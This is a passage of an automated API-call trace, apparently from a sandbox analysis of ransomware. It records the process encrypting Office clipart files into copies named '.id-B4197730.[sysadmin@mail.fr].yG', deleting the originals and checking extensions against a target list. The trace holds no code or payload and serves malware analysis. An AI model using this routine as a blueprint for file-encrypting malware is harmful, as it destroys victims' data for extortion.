	[0169.179] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107138.wmf")) returned 1
	[0169.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68
	[0169.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68
	[0169.180] lstrlenW (lpString=".doc") returned 4
	[0169.180] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0169.180] lstrlenW (lpString=".docx") returned 5
	[0169.180] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0169.180] lstrlenW (lpString=".pdf") returned 4
	[0169.180] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0169.180] lstrlenW (lpString=".xls") returned 4
	[0169.181] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0169.181] lstrlenW (lpString=".xlsx") returned 5
	[0169.181] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0169.181] lstrlenW (lpString=".ppt") returned 4
	[0169.181] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0169.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68
	[0169.181] lstrlenW (lpString=".zip") returned 4
	[0169.181] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0169.181] lstrlenW (lpString=".rar") returned 4
	[0169.181] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0169.181] lstrlenW (lpString=".bz2") returned 4
	[0169.181] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0169.181] lstrlenW (lpString=".7z") returned 3
	[0169.181] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0169.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68
	[0169.181] lstrlenW (lpString=".dbf") returned 4
	[0169.181] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0169.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68
	[0169.181] lstrlenW (lpString=".1cd") returned 4
	[0169.181] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0169.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68
	[0169.181] lstrlenW (lpString=".jpg") returned 4
	[0169.181] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0169.183] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=20136) returned 1
	[0169.183] CloseHandle (hObject=0x558) returned 1
	[0169.183] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107148.wmf")) returned 0x220
	[0169.183] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107148.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0169.183] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107148.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0169.184] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.184] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107148.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0169.185] GetLastError () returned 0x0
	[0169.185] ReadFile (in: hFile=0x558, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x4ea8, lpOverlapped=0x0) returned 1
	[0169.258] WriteFile (in: hFile=0x570, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0x4eb0, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0x4eb0, lpOverlapped=0x0) returned 1
	[0169.259] ReadFile (in: hFile=0x558, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0169.259] WriteFile (in: hFile=0x570, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0169.259] SetEndOfFile (hFile=0x570) returned 1
	[0169.259] CloseHandle (hObject=0x570) returned 1
	[0169.260] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.260] SetEndOfFile (hFile=0x558) returned 1
	[0169.268] CloseHandle (hObject=0x558) returned 1
	[0169.268] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0169.269] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107148.wmf")) returned 1
	[0169.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68
	[0169.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68
	[0169.270] lstrlenW (lpString=".doc") returned 4
	[0169.271] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0169.271] lstrlenW (lpString=".docx") returned 5
	[0169.271] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0169.271] lstrlenW (lpString=".pdf") returned 4
	[0169.271] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0169.271] lstrlenW (lpString=".xls") returned 4
	[0169.271] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0169.271] lstrlenW (lpString=".xlsx") returned 5
	[0169.271] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0169.271] lstrlenW (lpString=".ppt") returned 4
	[0169.271] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0169.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68
	[0169.271] lstrlenW (lpString=".zip") returned 4
	[0169.271] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0169.271] lstrlenW (lpString=".rar") returned 4
	[0169.271] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0169.271] lstrlenW (lpString=".bz2") returned 4
	[0169.271] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0169.271] lstrlenW (lpString=".7z") returned 3
	[0169.271] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0169.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68
	[0169.271] lstrlenW (lpString=".dbf") returned 4
	[0169.271] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0169.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68
	[0169.271] lstrlenW (lpString=".1cd") returned 4
	[0169.272] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0169.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68
	[0169.272] lstrlenW (lpString=".jpg") returned 4
	[0169.272] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0169.272] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=22300) returned 1
	[0169.273] CloseHandle (hObject=0x558) returned 1
	[0169.275] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107154.wmf")) returned 0x220
	[0169.275] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107154.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0169.275] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107154.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0169.276] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.276] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107154.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0169.277] GetLastError () returned 0x0
	[0169.277] ReadFile (in: hFile=0x558, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x571c, lpOverlapped=0x0) returned 1
	[0169.291] WriteFile (in: hFile=0x360, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0x5720, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0x5720, lpOverlapped=0x0) returned 1
	[0169.293] ReadFile (in: hFile=0x558, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0169.293] WriteFile (in: hFile=0x360, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0169.293] SetEndOfFile (hFile=0x360) returned 1
	[0169.294] CloseHandle (hObject=0x360) returned 1
	[0169.294] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.294] SetEndOfFile (hFile=0x558) returned 1
	[0169.297] CloseHandle (hObject=0x558) returned 1
	[0169.298] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0169.298] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107154.wmf")) returned 1
	[0169.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68
	[0169.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68
	[0169.299] lstrlenW (lpString=".doc") returned 4
	[0169.299] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0169.299] lstrlenW (lpString=".docx") returned 5
	[0169.299] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0169.299] lstrlenW (lpString=".pdf") returned 4
	[0169.299] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0169.299] lstrlenW (lpString=".xls") returned 4
	[0169.299] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0169.299] lstrlenW (lpString=".xlsx") returned 5
	[0169.300] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0169.300] lstrlenW (lpString=".ppt") returned 4
	[0169.300] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0169.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68
	[0169.300] lstrlenW (lpString=".zip") returned 4
	[0169.300] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0169.300] lstrlenW (lpString=".rar") returned 4
	[0169.300] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0169.300] lstrlenW (lpString=".bz2") returned 4
	[0169.300] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0169.300] lstrlenW (lpString=".7z") returned 3
	[0169.300] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0169.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68
	[0169.300] lstrlenW (lpString=".dbf") returned 4
	[0169.300] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0169.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68
	[0169.300] lstrlenW (lpString=".1cd") returned 4
	[0169.300] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0169.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68
	[0169.300] lstrlenW (lpString=".jpg") returned 4
	[0169.300] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0169.301] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=24908) returned 1
	[0169.301] CloseHandle (hObject=0x558) returned 1
	[0169.301] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107158.wmf")) returned 0x220
	[0169.301] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107158.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0169.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107158.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0169.303] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.303] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.303] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107158.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0169.304] GetLastError () returned 0x0
	[0169.304] ReadFile (in: hFile=0x558, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x614c, lpOverlapped=0x0) returned 1
	[0169.671] WriteFile (in: hFile=0x360, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0x6150, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0x6150, lpOverlapped=0x0) returned 1
	[0169.673] ReadFile (in: hFile=0x558, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0169.673] WriteFile (in: hFile=0x360, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0169.673] SetEndOfFile (hFile=0x360) returned 1
	[0169.673] CloseHandle (hObject=0x360) returned 1
	[0169.673] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.674] SetEndOfFile (hFile=0x558) returned 1
	[0169.800] CloseHandle (hObject=0x558) returned 1
	[0169.801] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0169.994] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107158.wmf")) returned 1
	[0170.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68
	[0170.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68
	[0170.226] lstrlenW (lpString=".doc") returned 4
	[0170.226] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0170.226] lstrlenW (lpString=".docx") returned 5
	[0170.226] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0170.226] lstrlenW (lpString=".pdf") returned 4
	[0170.226] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0170.226] lstrlenW (lpString=".xls") returned 4
	[0170.226] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0170.226] lstrlenW (lpString=".xlsx") returned 5
	[0170.226] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0170.226] lstrlenW (lpString=".ppt") returned 4
	[0170.226] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0170.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68
	[0170.226] lstrlenW (lpString=".zip") returned 4
	[0170.226] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0170.226] lstrlenW (lpString=".rar") returned 4
	[0170.226] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0170.226] lstrlenW (lpString=".bz2") returned 4
	[0170.226] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0170.227] lstrlenW (lpString=".7z") returned 3
	[0170.227] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0170.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68
	[0170.227] lstrlenW (lpString=".dbf") returned 4
	[0170.227] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0170.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68
	[0170.227] lstrlenW (lpString=".1cd") returned 4
	[0170.227] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0170.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68
	[0170.227] lstrlenW (lpString=".jpg") returned 4
	[0170.227] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0170.228] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=9968) returned 1
	[0170.228] CloseHandle (hObject=0x53c) returned 1
	[0170.228] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107192.wmf")) returned 0x220
	[0170.228] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107192.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0170.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107192.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0170.229] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.229] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.229] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107192.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0170.231] GetLastError () returned 0x0
	[0170.231] ReadFile (in: hFile=0x53c, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x26f0, lpOverlapped=0x0) returned 1
	[0170.315] WriteFile (in: hFile=0x360, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0x2700, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0x2700, lpOverlapped=0x0) returned 1
	[0170.316] ReadFile (in: hFile=0x53c, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0170.317] WriteFile (in: hFile=0x360, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0170.317] SetEndOfFile (hFile=0x360) returned 1
	[0170.317] CloseHandle (hObject=0x360) returned 1
	[0170.317] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.317] SetEndOfFile (hFile=0x53c) returned 1
	[0170.322] CloseHandle (hObject=0x53c) returned 1
	[0170.323] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0170.324] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107192.wmf")) returned 1
	[0170.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68
	[0170.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68
	[0170.325] lstrlenW (lpString=".doc") returned 4
	[0170.325] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0170.325] lstrlenW (lpString=".docx") returned 5
	[0170.325] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0170.325] lstrlenW (lpString=".pdf") returned 4
	[0170.325] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0170.325] lstrlenW (lpString=".xls") returned 4
	[0170.325] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0170.325] lstrlenW (lpString=".xlsx") returned 5
	[0170.325] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0170.325] lstrlenW (lpString=".ppt") returned 4
	[0170.325] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0170.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68
	[0170.326] lstrlenW (lpString=".zip") returned 4
	[0170.326] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0170.326] lstrlenW (lpString=".rar") returned 4
	[0170.326] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0170.326] lstrlenW (lpString=".bz2") returned 4
	[0170.326] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0170.326] lstrlenW (lpString=".7z") returned 3
	[0170.326] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0170.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68
	[0170.326] lstrlenW (lpString=".dbf") returned 4
	[0170.326] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0170.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68
	[0170.326] lstrlenW (lpString=".1cd") returned 4
	[0170.326] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0170.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68
	[0170.326] lstrlenW (lpString=".jpg") returned 4
